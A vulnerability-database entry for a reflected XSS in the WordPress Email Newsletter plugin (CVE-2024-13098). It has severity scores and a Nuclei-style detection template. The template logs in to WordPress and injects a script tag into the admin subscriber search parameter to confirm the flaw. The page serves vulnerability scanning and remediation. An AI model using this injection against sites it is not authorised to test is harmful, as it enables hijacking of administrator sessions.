/Vulnerability Library

WordPress Email Newsletter - Reflected XSS

CVE-2024-13098
Verified

Description

WordPress Email Newsletter plugin through 1.1 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires attacker to craft a malicious link.

Severity

Medium

CVSS Score

5.4

Exploit Probability

3%

Affected Product

wordpress_email_newsletter

Published Date

February 7, 2026

Template Author

sourabh-sahu

CVE-2024-13098.yaml
id: CVE-2024-13098

info:
  name: WordPress Email Newsletter - Reflected XSS
  author: Sourabh-Sahu
  severity: medium
  description: |
    WordPress Email Newsletter plugin through 1.1 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires attacker to craft a malicious link.
  impact: |
    Attackers can execute malicious scripts in the context of high privilege users, potentially leading to account compromise or data theft.
  remediation: |
    Update to the latest version of the plugin where the issue is fixed.
  reference:
    - https://wpscan.com/vulnerability/eac71f70-993e-4353-8550-affb24c61c02/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2024-13098
    cwe-id: CWE-79
    epss-score: 0.03097
    epss-percentile: 0.86957
    cpe: cpe:2.3:a:megamindstechnologies:wordpress_email_newsletter:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: megamindstechnologies
    product: wordpress_email_newsletter
    publicwww-query: "/plugins/wp-email-newsletter/"
  tags: cve,cve2024,megamindstechnologies,wordpress-email-newsletter,wordpress,wp,wp-plugin,xss,authenticated

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=

    matchers:
      - type: dsl
        dsl:
          - contains(header, "wordpress_logged_in")
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=view-subscriber&search=ds"><script>alert(document.domain)</script>` HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body, "><script>alert(document.domain)</script>`","wp-email-newsletter")
        condition: and
# digest: 4b0a00483046022100bbd15ab525d67b4079072b03accede23cbb68016eaa07b3199acf24ff736fabb022100b8b77df5a2bde34d385caacf2f1f2aedf3889fc8efe76d8378e8c10597f4d6bf:922c64590222798bb761d5b6d8e72950
5.4Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
CVE ID:
cve-2024-13098
CWE ID:
cwe-79

References

https://wpscan.com/vulnerability/eac71f70-993e-4353-8550-affb24c61c02/

Remediation Steps

Update to the latest version of the plugin where the issue is fixed.